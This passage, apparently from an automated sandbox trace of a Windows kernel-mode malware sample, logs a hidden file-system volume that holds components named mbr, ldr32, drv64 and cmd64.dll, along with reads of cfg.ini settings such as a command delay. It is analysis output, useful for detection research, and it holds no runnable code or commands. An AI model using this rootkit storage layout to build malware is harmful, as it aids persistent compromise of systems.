FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.692] KeLeaveCriticalRegion () [0117.692] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.692] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.692] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.692] KeEnterCriticalRegion () [0117.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.692] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.692] IdePortDispatch () returned 0x103 [0117.692] KeWaitForMutexObject () returned 0x0 [0117.692] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.692] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.692] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.692] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.692] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.692] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.693] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.693] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.693] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.693] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.693] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.693] KeLeaveCriticalRegion () [0117.693] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.693] ReleaseMutex (hMutex=0x100) returned 1 [0117.693] Sleep (dwMilliseconds=0x2bf20) [0117.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6959fe30, dwHighDateTime=0x1d24fa4)) [0117.702] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.702] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.702] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.702] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.702] KeEnterCriticalRegion () [0117.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.702] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.702] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.702] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.702] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.702] IdePortDispatch () returned 0x103 [0117.703] KeWaitForMutexObject () returned 0x0 [0117.703] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.703] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.703] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.703] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.703] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.703] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800381bf60 [0117.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.703] KeLeaveCriticalRegion () [0117.703] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.703] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.703] KeEnterCriticalRegion () [0117.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.703] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.703] KeLeaveCriticalRegion () [0117.703] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.703] KeEnterCriticalRegion () [0117.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.703] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.703] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.703] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.703] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.703] IdePortDispatch () returned 0x103 [0117.704] KeWaitForMutexObject () returned 0x0 [0117.704] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.704] KeLeaveCriticalRegion () [0117.704] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.704] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.704] KeEnterCriticalRegion () [0117.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.704] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf1000 [0117.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.704] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.704] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.704] IdePortDispatch () returned 0x103 [0117.704] KeWaitForMutexObject () returned 0x0 [0117.704] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.704] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.704] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.704] IdePortDispatch () returned 0x103 [0117.705] KeWaitForMutexObject () returned 0x0 [0117.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.705] KeLeaveCriticalRegion () [0117.705] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.705] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.705] KeEnterCriticalRegion () [0117.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.705] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.705] KeLeaveCriticalRegion () [0117.706] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.706] KeEnterCriticalRegion () [0117.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.706] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.706] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d0f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.706] KeLeaveCriticalRegion () [0117.706] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.706] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.706] KeEnterCriticalRegion () [0117.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.706] ExFreePoolWithTag (P=0xfffffa800381bf60, Tag=0x0) [0117.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.706] KeLeaveCriticalRegion () [0117.706] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.706] ReleaseMutex (hMutex=0xf0) returned 1 [0117.706] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.706] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.706] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.706] KeEnterCriticalRegion () [0117.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.706] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.706] IdePortDispatch () returned 0x103 [0117.706] KeWaitForMutexObject () returned 0x0 [0117.707] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.707] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.707] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.707] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.707] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.707] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da7e0 [0117.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.707] KeLeaveCriticalRegion () [0117.707] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.707] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.707] KeEnterCriticalRegion () [0117.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.707] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.707] KeLeaveCriticalRegion () [0117.707] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.707] KeEnterCriticalRegion () [0117.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.707] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.707] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.707] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.707] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.707] IdePortDispatch () returned 0x103 [0117.707] KeWaitForMutexObject () returned 0x0 [0117.707] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.707] KeLeaveCriticalRegion () [0117.707] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.708] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.708] KeEnterCriticalRegion () [0117.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.708] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf2000 [0117.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.708] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.708] IdePortDispatch () returned 0x103 [0117.708] KeWaitForMutexObject () returned 0x0 [0117.708] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.708] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.708] IdePortDispatch () returned 0x103 [0117.708] KeWaitForMutexObject () returned 0x0 [0117.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.709] KeLeaveCriticalRegion () [0117.709] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.709] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.709] KeEnterCriticalRegion () [0117.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.709] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.709] KeLeaveCriticalRegion () [0117.709] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.710] KeEnterCriticalRegion () [0117.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.710] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.710] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cfdc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.710] KeLeaveCriticalRegion () [0117.710] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.710] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.710] KeEnterCriticalRegion () [0117.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.710] ExFreePoolWithTag (P=0xfffffa80039da7e0, Tag=0x0) [0117.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.710] KeLeaveCriticalRegion () [0117.710] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.710] ReleaseMutex (hMutex=0xf0) returned 1 [0117.710] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.710] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.710] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.710] KeEnterCriticalRegion () [0117.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.710] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.710] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.710] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.710] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.710] IdePortDispatch () returned 0x103 [0117.710] KeWaitForMutexObject () returned 0x0 [0117.710] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.711] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.711] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.711] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.711] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.711] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9b10 [0117.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.711] KeLeaveCriticalRegion () [0117.711] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.711] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.711] KeEnterCriticalRegion () [0117.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.711] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.711] KeLeaveCriticalRegion () [0117.711] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.711] KeEnterCriticalRegion () [0117.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.711] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.711] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.711] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.711] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.711] IdePortDispatch () returned 0x103 [0117.711] KeWaitForMutexObject () returned 0x0 [0117.711] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.711] KeLeaveCriticalRegion () [0117.711] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.712] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.712] KeEnterCriticalRegion () [0117.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.712] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf3000 [0117.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.712] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.712] IdePortDispatch () returned 0x103 [0117.712] KeWaitForMutexObject () returned 0x0 [0117.712] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.712] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.712] IdePortDispatch () returned 0x103 [0117.712] KeWaitForMutexObject () returned 0x0 [0117.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.712] KeLeaveCriticalRegion () [0117.712] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.713] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.713] KeEnterCriticalRegion () [0117.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.713] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.713] KeLeaveCriticalRegion () [0117.713] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.713] KeEnterCriticalRegion () [0117.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.713] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.713] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.713] KeLeaveCriticalRegion () [0117.713] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.713] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.713] KeEnterCriticalRegion () [0117.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.713] ExFreePoolWithTag (P=0xfffffa80039d9b10, 